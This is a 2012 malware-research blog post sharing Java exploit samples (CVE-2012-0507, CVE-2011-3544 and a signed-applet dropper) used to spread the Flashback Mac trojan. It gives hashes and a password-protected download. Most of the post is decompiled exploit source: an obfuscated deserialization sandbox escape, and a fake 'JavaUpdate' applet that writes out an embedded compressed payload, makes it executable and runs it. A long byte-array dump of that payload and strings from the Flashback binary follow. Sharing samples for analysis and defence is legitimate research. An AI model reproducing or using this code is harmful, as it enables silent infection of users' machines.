Clicky

Pages

Monday, April 16, 2012

Java OSX CVE-2012-0507, CVE-2011-3544 and Flashback.35/J sample




Dr. Web published BackDoor.Flashback.39 (Flashback.K-11th variant) epidemic chronology to augment their discovery of the Mac botnet "Doctor Web exposes 550 000 strong Mac botnet".  In general, the Flashback OSX epidemic started on or before August 2011 (F-Secure) with variants distributed as a fake Adobe Flash player. In January 2012, Intego reported Flashback.35/ J (the 10th) which was also distributed as a fake Flash download.

 I am posting here 3 Java exploits used to distribute Flashback trojans:

SAMPLE 1 JAVA CVE-2012-0507 is dated April 4, and appears to be distributing Flashback.35/J - as seen from the payload
SAMPLE 2 is java_signed_applet social engineering exploit (see Michael Schierl's comment below)
and 3 is JAVA CVE-2011-3544 and are dated February 2012.


I don't know which domains distributed these exploits (let me know if you do) but perhaps we are seeing the malware distribution scheme common for Windows-targeting exploit packs




File information


JAVA CVE-2012-0507 with Flashback.35/J payload


MD5:  0bb60cde26e022b8044149f7da138c1f
Size: 25891
 
JAVA 2011- 3544 

MD5:  d9d193658ea1555124854c3c827e4391
Size: 20989

 JAVA 2011- 3544 

MD5:  b134edeacd2660fa08f2f5a2ea916512
Size: 45797


Download

  Download all files listed above (email me if you need the password scheme)  - with many thanks to anonymous donation



Malware information


SAMPLE 1
JAVA CVE-2012-0507
MD5:  0BB60CDE26E022B8044149F7DA138C1F  -
Virustotal
First seen by Virustotal 2012-04-02 13:12:35 UTC ( 2 weeks ago ) 

apl.class Virustotal
{} are replaced by [] to prevent issues with blogger page saving posting and AV alerts

// Source File Name:   apl.java

package a;

import java.applet.Applet;
import java.io.*;
import java.util.concurrent.atomic.AtomicReferenceArray;

// Referenced classes of package a:
//            Help

public class apl extends Applet
[

    public apl()
    [
        sobj = "8BCA2722525527347C6B4D465146094B4649400968454D4244531CB7E97FB837540E4B2527275F57272727255255272E7C6B46096F424B571CD90BB336AF91C2D82527275F572727272657545527174D4651460952534E4B0944484944525555424953094653484A4E44096653484A4E44754241425542494442665555465E8EF5F9869942472B2527267C2722465555465E5327347C6B4D465146084B4649400868454D4244531C5F575627592724";
    ]

    public void init()
    [
        try
        [
            byte binary[] = loadFileFromResources("/xnm");
            byte arrayOfByte[] = StringToBytes(sobj);
            for(int i = 0; i < arrayOfByte.length; i++)
                arrayOfByte[i] = (byte)(arrayOfByte[i] ^ 0x27);

            ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(arrayOfByte));
            Object arrayOfObject[] = (Object[])(Object[])localObjectInputStream.readObject();
            Help arrayOfHelp[] = (Help[])(Help[])arrayOfObject[0];
            AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1];
            ClassLoader localClassLoader = getClass().getClassLoader();
            localAtomicReferenceArray.set(0, localClassLoader);
            Help.go(arrayOfHelp[0], binary);
        ]
        catch(Exception ex)
        [
            ex.printStackTrace();
        ]
    ]

    private static byte[] StringToBytes(String s)
    [
        byte data[] = new byte[s.length() / 2];
        for(int i = 0; i < s.length(); i += 2)
            data[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));

        return data;
    ]

    private byte[] loadFileFromResources(String fileName)
        throws IOException
    [
        InputStream fin = getClass().getResourceAsStream(fileName);
        byte readBuf[] = new byte[0x4b000];
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        for(int readCnt = fin.read(readBuf); 0 < readCnt; readCnt = fin.read(readBuf))
            bout.write(readBuf, 0, readCnt);

        fin.close();
        return bout.toByteArray();
    ]

    public static void main(String args[])
    [
        apl v = new apl();
        v.init();
    ]

    private String sobj;
]

Help.class Virustotal

// Source File Name:   Help.java

package a;

import java.lang.reflect.Constructor;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Help extends ClassLoader
[

    public Help()
    [
    ]

    public static void go(Help paramHelp, byte param[])
    [
        try
        [
            byte arrayOfByte[] = zn_data;
            URL localURL = new URL("file://");
            Certificate arrayOfCertificate[] = new Certificate[0];
            Permissions localPermissions = new Permissions();
            localPermissions.add(new AllPermission());
            ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(localURL, arrayOfCertificate), localPermissions);
            Class localClass = paramHelp.defineClass("a.Time", arrayOfByte, 0, arrayOfByte.length, localProtectionDomain);
            Constructor x[] = localClass.getConstructors();
            Object objlist[] = new Object[1];
            objlist[0] = param;
            Object znobj = x[1].newInstance(new Object[] [
                param
            ]);
        ]
        catch(Exception localException)
        [
            localException.printStackTrace();
        ]
    ]

Flashback.J /  BackDoor.Flashback.35 that is being dropped by the applet
File: xnm
MD5:  AE7BBF2410B0EFD0CBF1410EA41E07C6
Strings ( example taken form x64 binary)
 --------------------------------------------------------------------------
__PAGEZERO
__TEXT
__text
__TEXT
__symbol_stub1
__TEXT
__stub_helper
__TEXT
__cstring
__TEXT
__unwind_info
__TEXT
__eh_frame
__TEXT
__DATA
__nl_symbol_ptr
__DATA
__la_symbol_ptr
__DATA
__dyld
__DATA
__const
__DATA
__cfstring
__DATA
__data
__DATA
__common
__DATA
__LINKEDIT
/usr/lib/dyld
/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices
/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
/usr/lib/libz.1.dylib
/usr/lib/libcrypto.0.9.7.dylib
/System/Library/Frameworks/Security.framework/Versions/A/Security
/usr/lib/libgcc_s.1.dylib
/usr/lib/libSystem.B.dylib
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
AWAVAUATSH
[A\A]A^A_
ATSH
0[A\
ATSH
AWAVAUATSH
8[A\A]A^A_
M{D~
ATSH
P[A\
AWAVAUATSH
w5&h
[A\A]A^A_
t&Hc
<9Ic
AUATSH
wpf9u
[A\A]
ATSH
HOME
User-Agent
/bin/sh
system.privilege.admin
prompt
icon
%s%s
%s "%s%s%s" %s "%s"
%s %s "%s"
sysctl.proc_cputype
dFd1js
IOPlatformUUID
%s|%s|%s|%s|%s|%s|%d
none
x86_64
i386
;//3F
Y/79.O
nunt
://3|UwO.79.uLk
tat_)TD
D://3
.79.
FGtat_
:://3)f
{.79.
9tat_mg
svic.
0TcchiY
/osry2-
rary)
tle U
ch|/B
lopet
plicg
ns/Xe
.app)
tentu
cOS/^
e|/Av
catii
Viruu
rier&
app|)
licar
s/iAh
irus)
tiVit
app|)
licar
s/avg
.appz
plicg
ns/Cj
av.av
Applo
ions)
PScoi
pp|/G
icato
/Pacm
Peepc
lica)
s/Mi>
oft
.app!
plic<
ns/M4
soft}
ice o
H|/Ap-
atio3
=icro.
 Off4
P2011!
plic<
ns/S6
.app]
ibra
ache
va/c
Nh_keo;
ibrax
pplii
on S
rt/./
urs/S8
ud/.l9
}allo3
ilib
pathyG
chct
tenv
C+D_IN
H3_LIB
H.ES "
ers/
ed/.
*cOSX
ironBy
tlts
_INS
LIBR
chct;
tenvW
a#6all
i);ri
T/.prhY
/.dl
/.vn&
EDl/.i.
pin/s



=========================================================================
SAMPLE 2
java_signed_applet social engineering exploit (see Michael Schierl's comment below)
d9d193658ea1555124854c3c827e4391 Virustotal
First seen by VirusTotal    2012-02-10 09:01:38 UTC ( 2 months ago
 {} are replaced by [] to prevent issues with blogger page saving posting and AV alerts
JavaUpdate.class  Virustotal
// Source File Name:   JavaUpdate.java

package javaupdate;

import java.applet.Applet;
import java.security.AccessController;

// Referenced classes of package javaupdate:
//            Payload

public class JavaUpdate extends Applet
[

    public JavaUpdate()
    [
    ]

    public void init()
    [
        Boolean boolean1 = (Boolean)AccessController.doPrivileged(new Payload());
    ]

    public static void main(String args[])
    [
        AccessController.doPrivileged(new Payload());
    ]
]



Payload.class  Virustotal
// Source File Name:   Payload.java

package javaupdate;

import java.io.*;
import java.security.PrivilegedAction;
import java.util.zip.DataFormatException;
import java.util.zip.Inflater;

class Payload
    implements PrivilegedAction
[

    Payload()
    [
    ]

    private void saveFile(String s, byte abyte0[])
        throws IOException
    [
        FileOutputStream fileoutputstream = new FileOutputStream(s);
        fileoutputstream.write(abyte0);
        fileoutputstream.close();
    ]

    private byte[] loadFileFromResources(String s)
        throws IOException
    [
        InputStream inputstream = getClass().getResourceAsStream(s);
        byte abyte0[] = new byte[0x4b000];
        ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
        for(int i = inputstream.read(abyte0); 0 < i; i = inputstream.read(abyte0))
            bytearrayoutputstream.write(abyte0, 0, i);

        inputstream.close();
        return bytearrayoutputstream.toByteArray();
    ]

    public Object run()
    [
        try
         [
            Inflater inflater = new Inflater();
            inflater.setInput(loader_data);
            ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream(loader_data.length);
            byte abyte0[] = new byte[1024];
            while(!inflater.finished())
                try
                [
                    int i = inflater.inflate(abyte0);
                    bytearrayoutputstream.write(abyte0, 0, i);
                ]
                catch(DataFormatException dataformatexception) { }
            bytearrayoutputstream.close();
            byte abyte1[] = bytearrayoutputstream.toByteArray();
            saveFile(dropFile, abyte1);
            String as[] = {
                "chmod", "777", dropFile
            ];
            Process process = Runtime.getRuntime().exec(as);
            int j = process.waitFor();
            String as1[] = {
                "nohup", dropFile, "&"
            ];
            Process process1 = Runtime.getRuntime().exec(as1);
            int k = process1.waitFor();
        ]
        catch(Exception exception)
        [
            exception.printStackTrace();
            return Boolean.valueOf(false);
        }
        return Boolean.valueOf(true);
    }

    byte loader_data[] = {
        120, -38, -19, 92, 13, 116, 91, -59, -107, -98,
        39, -53, 63, 4, -121, 40, -127, 64, -128, -4,
        -104, 68, 102, 3, 5, -53, -50, 95, 77, 78,
        114, 106, 37, 118, -112, -117, -100, 120, 99, 59,
        -55, 41, -95, -118, 44, -65, 68, 10, -78, -91,
        125, 122, 38, 14, 39, -128, -63, 113, -101, -121,
        -94, -42, 11, 101, -31, 116, 19, 78, 96, 105,
        -101, -78, -123, -11, 66, 97, -77, 41, -92, 38,
        -55, 33, -122, 66, 26, -78, 89, -106, -78, -39,
        -64, 82, -77, -107, 32, -48, 44, 39, -53, 111,
        -120, -10, -34, 59, 35, -23, -23, 89, -110, -45,
        61, -19, 2, -69, -17, -98, 51, 119, -34, -3,
        102, -26, -50, -52, 125, -13, -34, 60, -113, -18,
        -11, -117, 103, -9, -18, 99, -116, 89, 36, -58,
        74, 123, 25, 43, 98, -52, 6, -30, 117, 97,
        96, -27, -112, 74, 25, 97, -51, -112, -51, 62,
        35, 48, -109, 76, 50, -55, 36, -109, 76, 50,
        -55, 36, -109, 76, 50, -55, 36, -109, 76, 50,
        -23, 43, 70, -65, -2, -12, -67, -77, -16, 71,
        -66, 4, 127, -28, -9, 90, 64, -98, -128, 96,
        25, 99, -3, -94, -4, 82, 72, 46, 72, 30,
        79, -77, -13, -6, -122, 111, 53, -84, 92, 49,
        90, -121, 116, 14, -3, -96, -98, -39, 22, -44,
        -45, -38, -80, -90, 53, 71, -5, 10, 67, 3,
        33, -29, 1, 68, 49, -92, 18, 1, 123, 60,
        -86, -36, -93, 102, -86, 25, -11, 61, 112, 9,
        -41, -9, 94, 81, 70, -74, -24, -11, 90, 89,
        -81, 94, -12, 120, 34, -101, 59, -37, 67, 65,
        79, 68, -19, 110, -81, 25, -83, -17, 59, -105,
        115, 125, -113, 27, -28, 20, -107, 9, 125, -103,
        -15, -95, 34, -113, 95, 14, -122, 101, 37, -57,
        -8, -26, 77, -27, -19, -81, -79, 100, 100, 86,
        112, 124, -66, -120, -86, 4, -70, 54, -28, -103,
        -17, -70, -23, 92, -33, 94, -99, 92, -92, 107,
        111, 49, -88, -9, 120, -70, -69, 54, 5, -70,
        58, 60, -127, -82, -11, -95, 28, -6, 42, 102,
        112, 125, -83, 58, -39, 90, -32, -66, 122, 60,
        -78, -33, -77, 94, -15, 118, -54, -71, -57, -41,
        35, -12, 109, -45, -55, -6, -15, -99, 15, 67,
        -50, -67, 78, -22, -99, -83, -50, -20, -11, 64,
        118, -73, 101, -81, -113, -108, 44, 14, -86, 116,
        -9, -95, 43, -104, -70, -75, 97, 85, -55, -85,
        -81, 90, 39, -21, 109, -123, 122, -90, 101, -51,
        51, -24, 45, -92, -81, 90, -24, -117, -21, 100,
        -67, 62, 28, -33, -84, 44, 125, 29, -101, -125,
        29, 122, 57, 91, -33, -108, 43, -72, -66, 90,
        -99, 92, 84, -16, 62, -8, -42, -21, 23, -118,
        81, 95, -77, -48, -73, 78, 39, 23, -42, -41,
        -31, 85, -67, -7, -57, 55, 104, 24, -33, -32,
        -40, -29, 11, 117, 118, -122, -70, -14, -23, 99,
        51, -59, -3, 45, -53, 64, -59, 5, -34, 49,
        -103, -9, -110, -69, 113, -7, 13, 13, -11, -115,
        -87, 53, 87, -51, -21, -122, -49, -53, -56, 76,
        39, -105, 26, 116, -51, -44, -81, 1, 81, 127,
        -73, 78, -36, 13, -14, 54, -72, -111, -43, 115,
        25, -13, -117, -25, 105, 10, -66, 87, 64, -82,
        -60, 10, 95, 7, -35, 22, 90, -57, 116, 74,
        -102, 26, 107, 42, 89, 12, -9, 125, 20, 45,
        96, -84, 14, -41, -51, -4, 108, -5, 93, 32,
        -106, 56, 30, -72, 58, -70, 35, -118, 35, 24,
        104, 119, -24, -106, -52, -27, 98, 28, -41, -60,
        -2, -20, 55, 71, -82, -65, -79, -31, -44, -123,
        -1, -12, -44, -91, -18, -71, 63, 65, -101, -19,
        97, -4, -103, -67, -6, 75, -80, -65, -92, -34,
        -57, 99, 17, -50, -45, 47, -26, 100, 73, 63,
        -32, 18, 115, -76, 108, -114, -88, 114, -89, -61,
        29, 104, 87, -68, -54, 102, -57, 50, 124, -43,
        108, 10, 41, 55, 71, 28, 75, 67, -118, -36,
        34, 43, -73, 4, 124, 114, -92, 106, 125, 10,
        119, -84, -110, -107, 72, 32, -44, 21, 113, 56,
        -77, 106, -24, -6, 89, -109, -43, -49, -123, -46,
        24, -3, 52, -82, -72, 33, -96, -26, -18, -128,
        -118, -46, 122, 107, -77, -12, -14, 21, -112, -66,
        119, -112, 54, -8, 124, -98, 72, 85, 77, 21,
        -36, -58, 64, -69, 110, 60, -6, 118, 86, 41,
        52, -86, 29, 31, 90, -43, 18, 125, -61, 81,
        -10, -102, 116, 28, 58, -4, -85, -79, -20, -75,
        44, -44, -35, 5, 15, 54, 12, 63, -65, -59,
        50, 117, -52, -49, 35, -109, 76, 50, -55, 36,
        -109, 76, 50, -55, 36, -109, 76, 50, -55, 36,
        -109, 76, -6, -109, -46, 70, -26, -46, -34, 118,
        -11, -115, -100, 114, 69, 111, 43, 115, -59, -70,
        109, -38, -89, 125, -5, -91, -25, -34, 42, 114,
        73, 31, -72, -76, 87, -34, -75, -70, -6, -98,
        43, 115, -11, 93, -57, -70, 63, -60, -85, -8,
        56, -8, -21, 95, 59, 20, -65, -48, -54, -40,
        105, 103, -117, 59, 54, 109, 86, 60, -103, 116,
        -74, 36, 43, -25, -98, -57, -40, -124, 25, 44,
        89, 57, 7, 46, -38, 64, -87, 115, -75, 115,
        -107, -77, -51, -39, -38, -30, -22, 59, 57, -69,
        81, 59, -35, -88, -67, -22, -118, 22, 91, -53,
        24, 115, 69, 109, 46, -83, 109, -72, -26, -88,
        75, -109, -9, -72, -76, -77, 53, -55, -8, -67,
        69, 8, 79, 126, -65, 20, -77, 113, 46, 109,
        -65, 43, 54, -1, 82, 80, 4, 69, 46, 44,
        -46, 14, 52, -11, -113, -88, -109, -36, -38, 91,
        80, 80, 113, 30, 34, -121, -30, -13, -88, -28,
        4, -44, -87, -122, -85, 70, -19, 16, -126, 95,
        67, -16, -50, -109, -125, 51, 16, 121, -69, 41,
        122, 101, 67, -51, -121, -17, 94, -28, -46, 94,
        119, 107, -17, -69, -75, -33, -59, 55, 97, 85,
        -23, -72, 83, 58, -79, 119, 23, -44, 33, 52,
        25, -1, -52, 66, -99, -72, -6, -121, -18, 56,
        -26, -118, -54, 123, -22, 53, 48, -56, -8, -43,
        52, -100, -74, 97, -41, -36, -119, 106, 113, -4,
        66, -44, 28, -109, 95, -69, -47, -71, -42, 121,
        -109, -13, -37, 78, -49, 11, 7, -78, -25, 121,
        -25, -55, -35, 48, 59, 119, 116, -15, 12, 104,
        -41, 24, 45, 117, 105, 13, -61, 53, 67, -1,
        72, -57, -26, 79, 3, -33, -57, -58, -95, -122,
        -59, -98, 98, -58, -30, 18, 13, -7, 121, 87,
        -33, -57, -55, -18, -119, -15, -65, -121, -2, -5,
        106, 39, 118, -105, -62, 100, -2, -63, -126, -57,
        -20, 96, -32, -102, 15, -95, -14, 1, 80, 25,
        31, -50, -126, 6, -53, 1, 122, 10, -96, 67,
        -3, -49, 124, -108, 76, 34, -18, -118, 61, -123,
        -105, 80, 120, 47, -42, 95, -117, -45, -119, -51,
        -1, 28, 75, -94, -59, -69, 74, 24, -117, -42,
        -58, -99, 0, 58, -75, -125, 0, -36, 95, -126,
        -61, -100, 93, -13, -126, 91, 123, 7, -86, -99,
        -126, -31, -42, -125, 105, 46, 75, 27, 65, -67,
        18, 101, 43, -56, 53, 47, -20, -27, -6, -25,
        47, 44, -57, -46, 55, -30, 111, 73, 60, 63,
        -116, 121, 108, 103, 53, 118, -85, -99, -128, -98,
        31, -123, 122, -15, 5, -48, 6, -38, 111, 74,
        -96, 23, -89, 43, -70, -8, 120, 41, 53, -2,
        17, -106, -67, 35, -91, -11, -81, 110, -12, -99,
        118, 69, -97, 29, -92, -58, -49, -19, -91, 19,
        -19, 87, -124, -30, 103, 37, 106, -7, 48, -76,
        -36, -105, -124, -21, -8, 46, 2, 38, -1, 37,
        -87, -38, 57, -12, 25, -50, 115, -2, 42, 43,
        -43, -82, 25, -30, -11, -95, -35, 115, 18, 31,
        39, 13, 119, 113, 20, 106, -57, 123, 36, 52,
        -14, 65, -20, -79, -43, 29, 123, 108, 8, -70,
        19, 102, 116, 107, -65, -113, 43, 18, -34, -1,
        127, -89, -34, -9, 33, -116, -32, 13, 32, -3,
        2, -111, 81, 37, 53, 32, 37, 15, -12, 125,
        54, -89, 123, 4, 23, -46, -59, -44, -35, -30,
        89, -40, -113, 27, -82, -101, -6, 63, 84, -73,
        -72, -75, -113, -30, 87, -128, -16, -82, -62, 109,
        -14, 44, -36, -27, -8, 76, 9, 109, 50, 97,
        -85, 39, -103, 76, -2, -14, -47, 91, 75, 88,
        -4, 36, 26, 71, -21, -57, -23, -61, 83, 16,
        -101, 127, 98, 28, -17, -94, -105, 113, 11, 69,
        -25, -17, -128, 91, 84, 115, 20, -79, 32, 97,
        -121, 92, -79, -5, -72, -75, 78, -60, 31, 60,
        3, -113, -100, 118, 112, 113, 18, -42, -17, -124,
        -17, -99, 7, 90, 19, -9, -100, 5, 77, 67,
        -72, 86, 27, -25, 94, 2, 107, 21, 79, -25,
        93, 119, 30, -60, -11, -88, 91, -82, -16, 116,
        62, 2, -109, 73, 86, -2, -104, -8, 110, -30,
        -113, 18, -1, 25, -15, -57, -119, 15, 18, 127,
        -126, -8, -49, -119, 63, 77, 124, 15, -15, -67,
        -60, -97, 33, -66, -113, -8, 16, -15, -3, -60,
        15, 18, 127, -98, -8, 48, -15, 23, -119, -65,
        68, -4, 48, -15, 35, -60, -113, 18, 63, 70,
        -4, 85, -30, -81, 17, 127, -99, -8, 113, -68,
        -117, 125, -117, 15, -30, 89, -75, 58, 1, -34,
        51, 7, -32, 10, -33, 51, 79, -30, 83, -40,
        119, -80, 44, 113, 59, -84, 3, 60, -103, 100,
        80, 120, 24, -64, -60, -53, 96, -120, 1, -1,
        76, -114, 96, -61, -60, 47, 8, -7, 38, 71,
        -10, 34, -14, 83, 66, 20, -114, 12, 34, 114,
        63, 33, 119, 115, -28, -57, -120, -12, 19, -14,
        48, 71, 118, 32, 18, 33, -28, 73, -114, -36,
        -125, -120, -105, -112, 99, 28, -39, -122, -56, 10,
        66, -34, -25, -56, -19, -120, 44, 38, -28, 124,
        -119, 16, 21, -111, -81, -15, 17, 114, 100, 35,
        34, -105, -14, 17, 114, 100, 29, 34, -91, -124,
        108, -28, -56, 42, 68, -2, -21, 44, 34, -33,
        -27, -120, 27, -111, -33, 18, 114, 63, 71, -106,
        32, -14, 10, 33, -125, 28, -87, 69, -28, -105,
        -124, -20, -29, 72, 21, 34, -113, 17, -14, 43,
        -114, -40, 17, -7, 107, 66, 94, -25, -56, 101,
        -120, 104, -124, -60, 57, 98, 67, 100, 19, 33,
        31, 113, -92, 4, 17, -103, -112, 18, 11, 33,
        103, 32, 75, -76, 16, 50, -103, 35, 31, 32,
        -30, 36, -60, -50, -111, 56, 34, 14, 66, 22,
        112, -28, 4, 34, -45, 8, -71, -98, 35, -57,
        16, 57, -97, -112, -43, 28, 121, 17, -111, 79,
        62, 71, -92, -125, 35, 67, -120, -4, -114, -112,
        8, 71, -98, 70, -28, -97, 17, -71, -66, -95,
        -107, -75, 69, 100, -27, 90, -25, 6, -71, 75,
        101, 29, -2, 57, 29, 27, 35, -84, 113, -123,
        56, -106, 95, -24, -128, -21, -26, -96, 87, 93,
        31, 82, 58, -37, -38, 26, -21, 89, -6, -28,
        -38, 29, 80, -43, -96, 92, -47, -46, 21, 80,
        125, 126, -74, -87, -99, 117, -123, -4, -35, -31,
        -118, -103, -107, -111, -103, 21, 87, 50, 71, -67,
        124, -117, 28, 12, -123, 101, -59, -31, 12, -121,
        -125, 1, 31, 29, 88, 71, 28, 107, 124, -95,
        14, -71, -54, 27, 14, 59, -106, -122, -70, 84,
        -24, 50, -30, 104, -14, -6, 86, -76, -16, 2,
        -58, -4, -86, 26, 94, -24, 112, 124, -67, -74,
        106, -34, -126, -86, -102, -71, -41, 85, -51, -87,
        -87, 113, 108, -12, -123, -70, -95, -78, -30, 96,
        14, -75, 51, -20, -88, 82, 59, -28, 78, -79,
        15, -29, -101, 102, -86, -56, 43, 4, 86, -63,
        -78, 127, -37, -85, 21, 73, -86, -56, -56, 69,
        116, 70, 95, -60, -90, -120, 95, 63, -34, -65,
        -124, 73, -8, -37, -15, 43, 107, -118, 9, -72,
        40, -91, -1, -42, -107, 76, -22, -79, 73, -74,
        -14, -46, -78, 1, 40, -103, 39, -6, 91, -11,
        113, -110, 40, -11, 123, 34, -77, 98, -77, 11,
        108, -33, -79, 88, 81, -11, -8, 18, -21, 120,
        -56, -6, 74, -73, -105, -60, -118, -65, 103, -3,
        126, 17, -74, -61, -97, -64, 74, 62, -31, -19,
        -2, -50, -110, -81, -99, 45, -85, -35, 31, -6,
        93, -78, 74, -4, 126, -19, 23, -7, -83, 34,
        -33, 46, -14, 7, 69, 62, 40, -14, -3, 34,
        63, 38, -14, -1, 16, -7, -57, 34, 31, 55,
        77, -40, 88, -28, 85, 34, -81, 19, -7, 74,
        -111, 119, -120, -4, 22, -111, 111, 19, -7, 15,
        69, -2, 51, -111, -17, 19, -7, 17, -111, -65,
        37, -14, -45, 34, 47, 17, -65, -105, 79, 17,
        -7, -43, 34, 95, 36, -14, -27, -45, 83, -65,
        51, 15, 121, -110, 119, 48, 86, 38, -14, -44,
        90, 24, 22, -65, 123, 14, -119, 124, -113, -56,
        83, -65, -121, -90, 104, -72, -108, -25, -87, -33,
        -25, -115, -122, 78, -107, 119, -120, -14, 113, 121,
        -54, -17, 18, -27, 23, -100, -29, -3, 57, 37,
        -22, 79, 16, -65, -69, 39, 33, 125, 106, 126,
        78, -101, 100, -110, 73, 38, -103, 100, -110, 73,
        38, -103, 100, -110, 73, 38, -3, -65, -89, -119,
        117, -98, -101, -105, 46, 115, -75, -74, 54, 11,
        47, -64, 26, 79, 13, -5, 115, 101, -54, -64,
        36, 40, 104, 92, -47, -28, -115, -88, -78, -46,
        28, 82, -44, 122, 121, -67, -73, 59, -88, -78,
        -127, -117, -22, 60, -24, -28, -18, -11, -35, -20,
        -15, -7, 111, -10, 108, -24, -10, 42, 29, 76,
        -79, 13, -44, -95, 119, 42, -9, 126, 111, 15,
        116, 117, -56, 10, 83, -40, -64, 100, -84, -68,
        116, -39, -46, 80, 23, -76, -24, 82, 91, -56,
        67, 121, 105, -48, 27, -119, -84, -108, -41, -53,
        -118, -36, -27, -109, 89, -17, -80, 101, -56, 50,
        101, -128, 6, -30, 12, 6, 67, 62, -81, 26,
        82, 82, -35, 41, -77, 7, 104, -100, 74, 53,
        -116, -108, 15, -76, 73, -114, 68, -68, 27, -28,
        -91, -118, -20, 85, -27, -107, -14, 95, 116, -53,
        17, 24, 22, 83, 106, -115, 53, 90, 100, -43,
        37, 123, 97, 36, -53, 2, 114, -80, 99, -107,
        55, -40, 45, 99, -67, 58, -86, -73, 18, 74,
        96, 56, -78, -73, -109, 43, 90, 22, 82, -80,
        -87, 78, -97, 107, 114, 118, -67, 21, 97, -71,
        11, -15, 102, 3, -114, 87, -120, -81, 17, 120,
        80, -10, 70, -88, -93, 117, 4, -120, 57, 83,
        39, -85, 3, -86, 127, 41, 7, -80, -126, 95,
        87, -31, 122, 89, -43, -107, -124, -87, -92, 109,
        -91, 59, -45, 46, 83, -40, 3, -9, -90, 113,
        -59, -118, -10, -115, -78, 79, -43, 117, -41, 43,
        17, -66, 82, -34, 16, -120, -88, -54, -26, -122,
        46, 96, -68, -7, -46, 101, -51, 10, 30, -107,
        -87, -101, -79, -34, -74, 28, -11, -106, 41, -95,
        -50, 102, -81, -22, -57, -14, 1, 9, 111, -15,
        -14, 22, 24, 81, 67, -113, -20, -21, 86, -67,
        -19, 65, 57, 85, -8, 0, 21, 122, 100, 69,
        9, 41, 40, -17, -110, 12, -21, 97, -67, 55,
        16, -60, -126, -35, 88, -32, -13, 119, -122, -56,
        54, -125, 40, -55, 61, 1, 50, -20, 30, 20,
        -42, -5, -126, 33, 62, -18, 33, 18, 67, -62,
        -70, -61, 36, 109, 82, 2, 42, 21, 30, 65,
        -79, -45, -117, -53, 2, -59, -41, 72, -108, 59,
        125, 97, -102, -54, -101, 66, -116, -56, -92, 56,
        -114, 98, 68, -18, -12, -92, 117, -97, 74, 33,
        41, -11, 31, 19, 16, 6, 83, -86, -21, -55,
        104, 22, -108, 85, 47, -75, -33, 70, 2, 57,
        -48, -110, 33, 80, -20, -18, 10, 6, -70, 110,
        102, 3, -87, 7, 70, -14, 120, 58, -3, 48,
        21, 52, -116, -20, -15, -45, -6, 98, -105, 88,
        -2, -40, -49, -27, 77, -96, 113, 17, -28, 75,
        26, -68, -28, 6, 111, -91, 51, 36, 91, -6,
        28, 106, 10, -27, 82, -6, -56, 105, -98, 65,
        94, 101, -112, 123, -72, -100, 118, -87, -65, -37,
        32, -17, 48, -56, 63, 49, -56, -5, 13, -14,
        -85, 6, -7, 61, 46, -89, -19, 112, -42, 32,
        -49, -112, -78, -27, 90, 46, -89, 67, 75, -106,
        -109, -100, 113, -7, 15, 27, -54, 55, 27, -28,
        40, -81, -97, -106, 31, 52, -108, -1, -56, 32,
        -1, -83, 65, 126, -46, 32, -17, 53, -56, -5,
        13, -29, -7, 23, 46, -89, -19, -7, 14, 23,
        50, -9, -35, -110, -35, -66, -52, 32, -37, 12,
